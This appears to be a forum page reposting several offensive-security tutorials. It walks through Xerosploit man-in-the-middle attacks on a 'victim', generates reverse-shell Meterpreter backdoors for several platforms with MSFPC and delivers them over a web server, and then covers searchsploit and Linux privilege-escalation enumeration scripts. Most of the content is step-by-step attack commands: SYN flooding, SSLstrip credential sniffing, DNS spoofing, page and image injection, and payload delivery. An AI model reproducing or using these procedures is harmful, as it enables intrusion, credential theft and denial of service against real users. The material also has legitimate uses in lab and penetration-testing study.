Let’s begin with pscan which is a port scanner, it will show you all the open ports on the network computer and retrieve the version of the programs running on the detected ports. Type run to execute pscan and it will show you all the open ports of the victim’s network.
pscan
1
pscan
[Image: 4.png?w=687&ssl=1]

DOS (Denial of service)
Type “dos” to load the module, it will send a succession of TCP-SYN request packet to a target’s system to make the machine unresponsive to legitimate traffic which means it is performing SYN Flood attack.
dos
run
1
2
dos
run
press ctrl + c to stop
If you are aware of HPING tool then you can notice, this module is initially using HPING command for sending countless SYN request packet. [Image: 5.png?w=687&ssl=1]

Inject HTML (HTML Injection)
HTML injection is the vulnerability inside any website that occurs when the user input is not correctly sanitized or the output is not encoded and the attacker is able to inject valid HTML code into a vulnerable web page. There are so many techniques which could use element and attributes to submit HTML content.
So here we will replace the victim’s html page with ours. Select any page of your choice as you will notice that I have written “You have been hacked” in my index.html page which I will replace with the victim’s html page. Whatever page the victim will try to open he/she will see only the replaced one.
First, create a page as I have created & saved it on Desktop by the name of INDEX.html
[Image: 6.png?w=687&ssl=1]

Now run injecthtml command to load the injecthtml module. And then type run command to execute the injecthtml and enter the path where you have saved the file.
Bravo! We have successfully replaced the page as you can see in the picture below.
Hit ctrl^c to stop the attack.
[Image: 8.png?w=687&ssl=1]

Sniff
Now run the following module to sniff all the traffic of the victim with the command:
sniff
1
sniff
Then enter the following command to execute that module:
run
1
run
Now it will ask you if you want to use SSLTRIP to strip the HTTPS URL’s to HTTP so that we can catch the login credentials in clear text. So enter y.
[Image: 11.png?w=687&ssl=1]

When the victim will enter the username and password it will sniff and capture all the data.
[Image: 12.png?w=687&ssl=1]

Now it will open a separate terminal in which we can see all the credentials in clear text. As you can see it has successfully captured the login credentials.
Hit ctrl^c to stop the attack.
[Image: 13.png?w=687&ssl=1]

dspoof
It load dspoof module which will supply false DNS information to all target browsed hosts Redirect all the http traffic to the specified one IP.
Now type run command to execute module and then it will ask the IP address where you want to redirect the traffic, here we have given our Kali Linux IP.
[Image: 14.png?w=687&ssl=1]

Now, as soon as the victim will open any webpage he/she will get the page store in our web directories which we want to show him/her as shown in the picture below.
Hit ctrl^c to stop the attack.
[Image: 15.png?w=687&ssl=1]

Yplay
Now let’s catch the other interesting module which is yplay. It will play background video sound in the victim browser of your choice. So first execute yplay command followed by the run command and give the video i.d what you have selected.
Open your browser and choose your favorite video on YouTube which you want to play in the background in the victim’s browser. If video having any advertisement then skip that and select id from URL. Come back to xerosploit.
yplay
1
yplay
To execute the yplay module for attack type run.
run
1
run
Insert youtube video ID which you have copy above from url in next step.
febVHEarpeQ
1
febVHEarpeQ
[Image: 16.png?w=687&ssl=1]

Now in no matters what the victim is doing on the laptop. If he will try to open any webpage, on the background he/shell will hear the song which we want him to listen.
Hit ctrl^c to stop the attack.
[Image: 17.png?w=687&ssl=1]

Replace
I hope all the attacks were quite interesting. But the next is going to be amazing. Now we will replace all the images of the victim’s website with our images. For this first, execute the command replace followed by the run command. Don’t forget to give the path of the .png file which you have created as a surprise box for the victim.
replace
run
/root/Desktop/1.png
1
2
3
replace
run
/root/Desktop/1.png
[Image: 18.png?w=687&ssl=1]

As the victim opens any URL he/she will be amazed to see the replaced images of his/her website as shown here.
Hit ctrl^c to stop the attack.
[Image: 19.png?w=687&ssl=1]

Driftnet
We will use the driftnet module to capture all the images the victim is surfing on the web with following commands and it will save all captured picture in opt/xerosploit/xedriftnet.
driftnet
run
1
2
driftnet
run
[Image: 20.png?w=687&ssl=1]

Once the attack is launched; we can sniff down all the images that he is viewing on his computer in our screen. We can do much more with this tool simply by using the move you can shake the browser contents
[Image: 22.png?w=687&ssl=1]

As you can observe that all the images what victim is viewing on his/her system are captured in your system successfully.
Hopefully! So it is needless to say that this tool XERSPLOIT is quite interesting and useful as well for performing so many attacks. I hope readers are gonna like this.
HaPpY hAcKing!!
[Image: 23.png?w=687&ssl=1]

As you all are aware of MSFvenom-A tool in Kali Linux for generating a payload, is also available as MSFvenom Payload Creator (MSFPC) for generating various “basic” Meterpreter payloads via msfvenom. It is a fully automated msfvenom & Metasploit is the end goal.
Table of content

Create a Payload with Interactive IP Mode
Windows Payload
Android Payload
BASH
Linux
Python
Batch (Generates all Possible Combination Payloads)
Loop (Generates One payload for Each Platform)
Generating Stageless Payload

MSFvenom Payload Creator (MSFPC) is a wrapper to generate multiple types of payloads, based on the user’s choice. The idea is to be as simple as possible (only requiring one input) to produce their payload.
Source:

[To see content please register here]

Author: g0tmi1k
Syntax
msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)
1
msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)

Create a Payload with Interactive IP Mode
Let’s create the payload for Windows platform with the help of the following command
msfpc windows
1
msfpc windows
When you will enter above command it will automatically confirm the interface:
Which interface should be used?
eth0, lo, wan
We press 1 for eth0 and then it will start generating payload and as result give us the following:

Location of MSF handler file and windows meterpreter created.
Command to be run to start multi handler automatically within the Metasploit framework.
Command for file transfer through the web server.

Basically, the msfpc is designed to reduce the user’s effort in generating payload of various platforms with the different-different format of the file. So when you will type “msfpc” it will display all types of platform and generate a specific format of file likewise.
Syntax: msfpc <Lhost IP>
[Image: 1.png?w=687]

Windows Payload
If you want to generate a payload to get meterpreter session victim’s machine which operates on Windows, then all you need to do is type following:
msfpc windows 192.168.1.109 1234
1
msfpc windows 192.168.1.109 1234
If you will not mention IP, it will automatically ask to choose the interface as discussed above and choose 443 as default lport. It creates a malicious backdoor in the .exe format for 32-bit architecture. Then it will start generating the payload and as result give us details following details.

Location of MSF handler file and windows meterpreter created: ‘/root/windows-meterpreter-staged-reverse-tcp-1234.exe’
command to be run to start multi handler automatically: msfconsole -q -r ‘/root/windows-meterpreter-staged-reverse-tcp-1234-exe.rc’
Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.
msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-1234-exe.rc'
python2 -m SimpleHTTPServer 8080
1
2
msfconsole -q -r '/root/windows-meterpreter-staged-reverse-tcp-1234-exe.rc'
python2 -m SimpleHTTPServer 8080
[Image: 3.png?w=687]

When victim will browse the following URL where it will ask to download and run the .exe file that will provide the meterpreter session to the attacker.
//192.168.1.109/root/windows-meterpreter-staged-reverse-tcp-1234.exe
1
//192.168.1.109/root/windows-meterpreter-staged-reverse-tcp-1234.exe
Conclusion: Earlier the attackers were using the manual method to generate a payload in msfvenom command and then use Metasploit module “multi/handler” to access the reverse connection via meterpreter session and this technique was quite successfully approached to compromise a victim’s machine although took much time. But the same approach is applicable with the help of MSFPC for generating various “basic” Meterpreter payloads via msfvenom.
[Image: 4.png?w=687]

Android Payload
If you want to generate a payload to get meterpreter session victim’s machine which operates on Android, then all you need to do is type following:
msfpc apk 192.168.1.109 1234
1
msfpc apk 192.168.1.109 1234
It creates a malicious backdoor in the .apk format. Then it will start generating the payload and as result give us the following details.

Location of MSF handler file and android meterpreter created: ‘/root/android-meterpreter-stageless-reverse-tcp-1234.apk’
Command to be run to start multi handler automatically: msfconsole -q -r ‘/root/android-meterpreter-stageless-reverse-tcp-1234.apk.rc’
Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.
msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-1234.apk.rc'
python2 -m SimpleHTTPServer 8080
1
2
msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-1234.apk.rc'
python2 -m SimpleHTTPServer 8080
When victim will browse the following URL where it will ask to install the application and run the .apk file that will provide the meterpreter session to the attacker.
//192.168.1.109/root/android-meterpreter-stageless-reverse-tcp-1234.apk
1
//192.168.1.109/root/android-meterpreter-stageless-reverse-tcp-1234.apk
[Image: 6.jpg?w=687]

Hence you can observe as said above, we have the meterpreter session of the target’s machine.
[Image: 8.png?w=687]

BASH
The pro above MSFPC is that it reduces the stress to remember the format for each platform, all we need to do is just follow the above declare syntax and the rest will be managed by MSFPC automatically. Suppose I want to create a payload for Bash platform, and then it will take a few minutes in MSFPC to generate a bash payload.
msfpc bash 192.168.1.109 1234
1
msfpc bash 192.168.1.109 1234
It creates a malicious backdoor in the .sh format. Then it will start generating the payload and as result give us the following:

Location of MSF handler file and bash meterpreter created: ‘/root/bash-shell-staged-reverse-tcp-1234.sh.’
Command to be run to start multi handler automatically: msfconsole -q -r ‘/root/bash-shell-staged-reverse-tcp-1234.sh.rc’
Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.
msfconsole -q -r '/root/bash-shell-staged-reverse-tcp-1234.sh.rc'
python2 -m SimpleHTTPServer 8080
1
2
msfconsole -q -r '/root/bash-shell-staged-reverse-tcp-1234.sh.rc'
python2 -m SimpleHTTPServer 8080
When victim will browse the following URL where it will ask to install the script and once the target runs the bash script with full permission, it will give command shell.
//192.168.1.109/root/bash-shell-staged-reverse-tcp-1234.sh
chmod 777 bash-shell-staged-reverse-tcp-1234.sh
./bash-shell-staged-reverse-tcp-1234.sh
1
2
3
//192.168.1.109/root/bash-shell-staged-reverse-tcp-1234.sh
chmod 777 bash-shell-staged-reverse-tcp-1234.sh
./bash-shell-staged-reverse-tcp-1234.sh
[Image: 10.png?w=687]

Hence you can observe as said above, we have command shell of target’s machine and with the help of the following command, we have upgraded it into the meterpreter shell.
sessions -u 1
1
sessions -u 1
[Image: 11.png?w=687]

Linux
If you want to generate a payload to get meterpreter session victim’s machine which operates on Linux, then all you need to do is type following:
msfpc linux 192.168.1.109 4444
1
msfpc linux 192.168.1.109 4444
It creates a malicious backdoor in the .elf format. Then it will start generating the payload and as result give us the following details:

Location of MSF handler file and Linux shell created: ‘/root/linux-shell-staged-reverse-tcp-4444.elf
Command to be run to start multi handler automatically: msfconsole -q -r ‘/root/linux-shell-staged-reverse-tcp-4444.elf.rc’
Command for file transfer through web server: python2 -m SimpleHTTPServer 8080

Now run the following command to launch multi/handler and web server for file transfer.
msfconsole -q -r '/root/linux-shell-staged-reverse-tcp-4444.elf.rc'
python2 -m SimpleHTTPServer 8080
1
2
msfconsole -q -r '/root/linux-shell-staged-reverse-tcp-4444.elf.rc'
python2 -m SimpleHTTPServer 8080
When victim will browse the following URL where it will ask to install the application and once the target run the .elf file with full permission, it will give command shell.
//192.168.1.109/root/linux-shell-staged-reverse-tcp-4444.elf
chmod 777 linux-shell-staged-reverse-tcp-4444.elf
./linux-shell-staged-reverse-tcp-4444.elf
1
2
3
//192.168.1.109/root/linux-shell-staged-reverse-tcp-4444.elf
chmod 777 linux-shell-staged-reverse-tcp-4444.elf
./linux-shell-staged-reverse-tcp-4444.elf
[Image: 13.png?w=687]

Python
If you want to generate a payload to get meterpreter session victim’s machine which operates on Python, then all you need to do is type following:
msfpc python 192.168.1.109 5555
1
msfpc python 192.168.1.109 5555
It creates a malicious backdoor in the .py format. Then it will start generating the payload and as result give us the following details:
Location of MSF handler file and python meterpreter created: ‘/root/python-meterpreter-staged-reverse_tcp-5555.py
Command to be run to start multi handler automatically: msfconsole -q -r ‘/root/python-meterpreter-staged-reverse_tcp-5555.py.rc’
Command for file transfer through web server: python2 -m SimpleHTTPServer 8080
[Image: 16.png?w=687]

Now run the following command to launch multi/handler and web server for file transfer.
msfconsole -q -r '/root/python-meterpreter-staged-reverse_tcp-5555.py.rc'
python2 -m SimpleHTTPServer 8080
1
2
msfconsole -q -r '/root/python-meterpreter-staged-reverse_tcp-5555.py.rc'
python2 -m SimpleHTTPServer 8080
When victim will browse the following URL where it will ask to install the script and once the target run the python script, it will give the meterpreter session.
//192.168.1.109/root/python-meterpreter-staged-reverse_tcp-5555.py
python python-meterpreter-staged-reverse_tcp-5555.py
1
2
//192.168.1.109/root/python-meterpreter-staged-reverse_tcp-5555.py
python python-meterpreter-staged-reverse_tcp-5555.py
[Image: 17.png?w=687]

Hence you can observe as said above, we have the meterpreter session of the target’s machine
[Image: 18.png?w=687]

Batch (Generates all Possible Combination Payloads)
Batch is the most significant Mode as it generates as much as a possible combination of payload. If we want to create all payloads which can give meterpreter session then we can use the following command in that situation.
msfpc msf batch eth0
1
msfpc msf batch eth0
In the given below command you can observe here it has generated all possible types of payload which can give meterpreter sessions. Although the rest technique is as above to execute the payload and get the reverse connection.
[Image: 19.png?w=687]

If we want to create all payloads which can give command shell session of the target’s machine then we can use the following command in that situation.
msfpc cmd batch eth0
1
msfpc cmd batch eth0
In the given below command you can observe here it has generated all possible types of payload which can give command shell.
[Image: 20.png?w=687]

Loop (Generates One payload for Each Platform)
Loop is also the most significant mode as it generates one of each type of payload with their default values. Hence by default will generate a payload to provide meterpreter session rather than command shell session.
msfpc verbose loop eth0
1
msfpc verbose loop eth0
In the given below command you can observe here it has generated all possible types payload for each platform which can give meterpreter sessions. Although the rest technique is as above to execute the payload and get the reverse connection.
[Image: 21.png?w=687]

Generating Stageless Payload
As we all know there are two types of payloads i.e. stag and stageless and by default it creates a stage payload. If you want to create a stageless payload then you can go with the following command to generate stageless payload for command shell session or meterpreter session.
msfpc stagless cmd windows 192.168.1.109
msfpc stagless msf windows 192.168.1.109
1
2
msfpc stagless cmd windows 192.168.1.109
msfpc stagless msf windows 192.168.1.109
The rest technique is as above to execute the payload and get the reverse connection.
[Image: 22.png?w=687]

Hello friends!! Several times you might have read our articles on CTF challenges and other, where we have used searchsploit to find out an exploit if available in its Database. Today in this article we are going to discuss searchsploit in detail.
Table of Content

Introduction to searchsploit
Title Searching
Advance Title Searching
Copy To Clipboard
Copy To Directory
Examine an Exploit
Examining Nmap result
Exploit-DB Online
Eliminate Unwanted Results
Case Sensitive

Introduction to SearchSploit
Included in the

[To see content please register here]

is “searchsploit”, a command line search tool for Exploit-DB that also allows you to take a copy of Exploit Database with you, everywhere you go. SearchSploit gives you the power to perform detailed offline searches through your locally checked-out copy of the repository. This capability is particularly useful for security assessments on segregated or air-gapped networks without Internet access.
Since we are using GNOME build of Kali Linux, therefore, the “exploitdb” package is already included by default, all we need to do, open the terminal and just type “searchsploit” and press Enter. You will welcome by its help screen.
Source:

[To see content please register here]

Title Searching
Using –t option enables “title” parameter to search an exploit with a specific title. Because by default, searchsploit will try both the title of the exploit as well as the path. Searching an exploit with a specific title gives quick and sorted results.
Syntax: searchsploit [option] <title>
searchsploit -t java
1
searchsploit -t java
The above command will search exploit related to the Java platform and will show all exploit available in the exploit DB database.
[Image: 2.png?w=687&ssl=1]

Advance Title Searching
Even you can use –t option, to get the more fine result in finding the exploit of any particular platform. For example, if you want to find out java exploit for windows platform, then you can consider the following command.
searchsploit –t java windows
1
searchsploit –t java windows
Now you can compare the current output result from the previous result.
[Image: 3.png?w=687&ssl=1]

Copy To Clipboard
Using –p options enable “copy to clipboard parameter” as this option provides more information related to the exploit, as well as copy the whole path to the exploit to the clipboard, all you need press Ctrl V to paste.
searchsploit 39166
searchsploit -p 39166
1
2
searchsploit 39166
searchsploit -p 39166
In the following image, we have shown the default result varies when we use –p option along with it.
[Image: 4.png?w=687&ssl=1]

Copy To Directory
using –m options enable “copy to directory/folder parameter” as this option provides the same information as above related to the exploit, as well as copy the exploit in your current working directory.
searchsploit 39166
searchsploit -m 39166
1
2
searchsploit 39166
searchsploit -m 39166
In the following image, we have shown the default result varies when we use –m option along with it.
[Image: 5.png?w=687&ssl=1]

Examine an Exploit
Using —examine option, enables examine parameter to read the functionality of that exploit with the help of $PAGER.
searchsploit 39166 --examine
1
searchsploit 39166 --examine
[Image: 6.1.png?w=687&ssl=1]

The above command will open the text file of the exploit to review its functionality, code, and other information.
[Image: 6.2.png?w=687&ssl=1]

Examining Nmap result
As we all know, Nmap has a very remarkable feature that let you save its output result in .xml format and we can identify each exploit associated with the nmap XML file.
nmap -sV 192.168.1.102 -oX result.xml
1
nmap -sV 192.168.1.102 -oX result.xml
With the help of above command, we have saved the scanning result of nmap in an XML file, so that we can search the exploit related to scanned port/services.
[Image: 6.png?w=687&ssl=1]

Using –x option enables the examine parameter as well as –nmap option Checks all results in Nmap XML output with service version to find out related exploit with it.
searchsploit –x --nmap result.xml
1
searchsploit –x --nmap result.xml
Here you can observe that it is using verbose mode to examine XML file and had shown all possible exploit of running services.
[Image: 7.png?w=687&ssl=1]

Continue reading…
[Image: 8.png?w=687&ssl=1]

Exploit-DB Online
Using –w option enables website URL because on its website you will get more detailed information such as CVE-ID, setup files, tags, and vulnerability mappings which is not included in searchsploit.
searchsploit ubuntu 14.04 –w
1
searchsploit ubuntu 14.04 –w
The above command will show all available Exploit DB website links for the exploit related to Ubuntu 14.04.
[Image: 9.png?w=687&ssl=1]

Eliminate Unwanted Results
using –exclude option, it enables exclude parameter to remove the unwanted result from inside the list of exploit. You can also remove multiple terms by separating the terms with a “|” (pipe). This can be considered in the following:
searchsploit ubuntu 14.04
searchsploit --exclude="Privilege Escalation"
1
2
searchsploit ubuntu 14.04
searchsploit --exclude="Privilege Escalation"
In the following image, we have shown the default result varies when we use –exclude option along with it. Even you can eliminate more terms with the help of “|” (pipe)
searchsploit --exclude="Privilege Escalation" | (Poc)
1
searchsploit --exclude="Privilege Escalation" | (Poc)
[Image: 10.png?w=687&ssl=1]

Moreover, we can use the universal Grep command to remove the unwanted result from its output result. This can be considered in the following:
searchploit ubuntu14.04
searchploit ubuntu 14.04 | grep "Buffer Overflow"
1
2
searchploit ubuntu14.04
searchploit ubuntu 14.04 | grep "Buffer Overflow"
The above command will only look for all available exploit of ubuntu 14.04 on Buffer Overflow and dump the result.
[Image: 11.png?w=687&ssl=1]

Case Sensitive
Using –c option enables the “case-sensitive search” parameter to find out exploit related to specific character mention in the command, by default it makes the insensitive search. You can consider the following example:
searchsploit xss
searchsploit –c XSS
1
2
searchsploit xss
searchsploit –c XSS
As you can observe by default it has shown all available exploit related to xss/XSS but in the next command, it has shown the result only for XSS.
[Image: 14.png?w=687&ssl=1]

We all know that after compromising the victim’s machine we have a low-privileges shell that we want to escalate into a higher-privileged shell and this process is known as Privilege Escalation. Today in this article we will discuss what comes under privilege escalation and how an attacker can identify that low-privileges shell can be escalated to the higher-privileged shell. But apart from it, there are some scripts for Linux that may come in useful when trying to escalate privileges on a target system. This is generally aimed at enumeration rather than specific vulnerabilities/exploits. This type of script could save your much time.
Table of Content

Introduction
Vectors of Privilege Escalation
LinuEnum
Linuxprivchecker
Linux Exploit Suggester 2
Bashark
BeRoot

Introduction
Basically privilege escalation is a phase that comes after the attacker has compromised the victim’s machine where he tries to gather critical information related to systems such as hidden password and weak configured services or applications and etc. All this information help the attacker to make the post exploit against the machine for getting the higher-privileged shell.
Vectors of Privilege Escalation

OS Detail & Kernel Version
Any Vulnerable package installed or running
Files and Folders with Full Control or Modify Access
File with SUID Permissions
Mapped Drives (NFS)
Potentially Interesting Files
Environment Variable Path
Network Information (interfaces, arp, netstat)
Running Processes
Cronjobs
User’s Sudo Right
Wildcard Injection

There are several script use in Penetration testing for quickly identify potential privilege escalation vectors on Windows systems and today we are going to elaborate each script which is working smoothly.
LinuEnum
Scripted Local Linux Enumeration & Privilege Escalation Checks Shellscript that enumerates the system configuration and high-level summary of the checks/tasks performed by LinEnum.
Privileged access: Diagnose if the current user has sudo access without a password; whether the root’s home directory is accessible.
System Information: Hostname, Networking details, Current IP and etc.
User Information: Current user, List all users including uid/gid information, List root accounts, Checks if password hashes are stored in /etc/passwd.
Kernel and distribution release details.
You can download it through GitHub with help of the following command:
git clone //github.com/rebootuser/LinEnum.git
1
git clone //github.com/rebootuser/LinEnum.git
[Image: 1.png?w=687]

Once you download this script, you can simply run it by tying ./LinEnum.sh on the terminal. Hence it will dump all fetched data and system details.
Let’s Analysis Its result what it brings to us:
OS & Kernel Info: 4.15.0-36-generic, Ubuntu-16.04.1
Hostname: Ubuntu
[Image: 2.png?w=687]

Moreover…..
Super User Accounts: root, demo, hack, raaz
Sudo Rights User: Ignite, raj
Home Directories File Permission
Environment Information
And many more such things which come under the Post Exploitation.
[Image: 3.png?w=687]

Linuxprivchecker
Enumerates the system configuration and runs some privilege escalation checks as well. It is a python implementation to suggest exploits particular to the system that’s been taken under. Use wget to download the script from its source URL.
wget //www.securitysift.com/download/linuxprivchecker.py
1
wget //www.securitysift.com/download/linuxprivchecker.py
[Image: 4.png?w=687]

Now to use this script just type python linuxprivchecker.py on the terminal and this will enumerate file and directory permissions/contents. This script works the same as LinEnum and hunts details related to system network and user.
python linuxprivchecker.py
1
python linuxprivchecker.py
Let’s Analysis Its result what it brings to us.
OS & Kernel Info: 4.15.0-36-generic, Ubuntu-16.04.1
Hostname: Ubuntu
Network Info: Interface, Netstat
[Image: 5.png?w=687]

Writable Directory and Files for Users other than Root: /home/raj/script/shell.py
Checks if Root’s home folder is accessible
The file having SUID/SGID Permission
For example: /bin/raj/asroot.sh which is a bash script with SUID Permission
[Image: 6.png?w=687]

Linux Exploit Suggester 2
Next-generation exploits suggester based on Linux_Exploit_Suggester. This program performs a ‘uname -r‘ to grab the Linux operating system release version and returns a list of possible exploits.
This script is extremely useful for quickly finding privilege escalation vulnerabilities both in on-site and exam environments.
Key Improvements Include:

More exploits
Accurate wildcard matching. This expands the scope of searchable exploits.
Output colorization for easy viewing.
And more to come

git clone //github.com/jondonas/linux-exploit-suggester-2.git
cd linux-exploit-suggester-2
1
2
git clone //github.com/jondonas/linux-exploit-suggester-2.git
cd linux-exploit-suggester-2
[Image: 7.png?w=687]

You can use the ‘-k’ flag to manually enter a wildcard for the kernel/operating system release version.
./linux-exploit-suggester-2.pl -k 3.5
1
./linux-exploit-suggester-2.pl -k 3.5
[Image: 8.png?w=687]

Bashark
Bashark aids pentesters and security researchers during the post-exploitation phase of security audits.
It’s Features

Single Bash script
Lightweight and fast
Multi-platform: Unix, OSX, Solaris etc.
No external dependencies
Immune to heuristic and behavioral analysis
Built-in aliases of often used shell commands
Extends system shell with post-exploitation oriented functionalities
Stealthy, with custom cleanup routine activated on exit
Easily extensible (add new commands by creating Bash functions)
Full tab completion

Execute the following command to download it from the GitHub:
git clone //github.com/TheSecondSun/Bashark.git
cd Bashark
1
2
git clone //github.com/TheSecondSun/Bashark.git
cd Bashark
[Image: 9.png?w=687]

To execute the script you need to run following command:
source bashark.sh
help
1
2
source bashark.sh
help
The help command will let you know all available options provide by bashark for post exploitation.
[Image: 10.png?w=687]

With help of portscan option, you can scan the internal network of the compromised machine.
To fetch all configuration file you can use getconf option. It will pull out all configuration file stored inside /etc directory. Similarly, you can use the getprem option to view all binaries files of the target‘s machine.
portscan < target’s IP>
getconf
getprem
1
2
3
portscan < target’s IP>
getconf
getprem
[Image: 11.png?w=687]

BeRoot
BeRoot Project is a post exploitation tool to check common misconfiguration to find a way to escalate our privilege. This tool does not realize any exploitation. It mains goal is not to realize a configuration assessment of the host (listing all services, all processes, all network connection, etc.) but to print only information that has been found as a potential way to escalate our privilege.
git clone //github.com/AlessandroZ/BeRoot.git
cd Linux
chmod 777 beroot.py
1
2
3
git clone //github.com/AlessandroZ/BeRoot.git
cd Linux
chmod 777 beroot.py
[Image: 12.png?w=687]

To execute the script you need to run following command:
./beroot.py
1
./beroot.py
It will try to enumerate all possible loopholes which can lead to privilege Escalation, as you can observe the highlighted yellow color text represents a weak configuration that can lead to root privilege escalation whereas the red color represents the technique that can be used to exploit.
It’s Functions:
Check Files Permissions
SUID bin
NFS root Squashing
Docker
Sudo rules
Kernel Exploit
[Image: 13.png?w=687]

Conclusion: Above executed script are available on GitHub, you can easily download it from GitHub. These automated script try to identify the weak configuration that can lead to root privilege escalation.
[Image: 14.png?w=687]

Pages ({1}): « Previous 1 … 843 844 845 846 847 … 1224 Next »

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis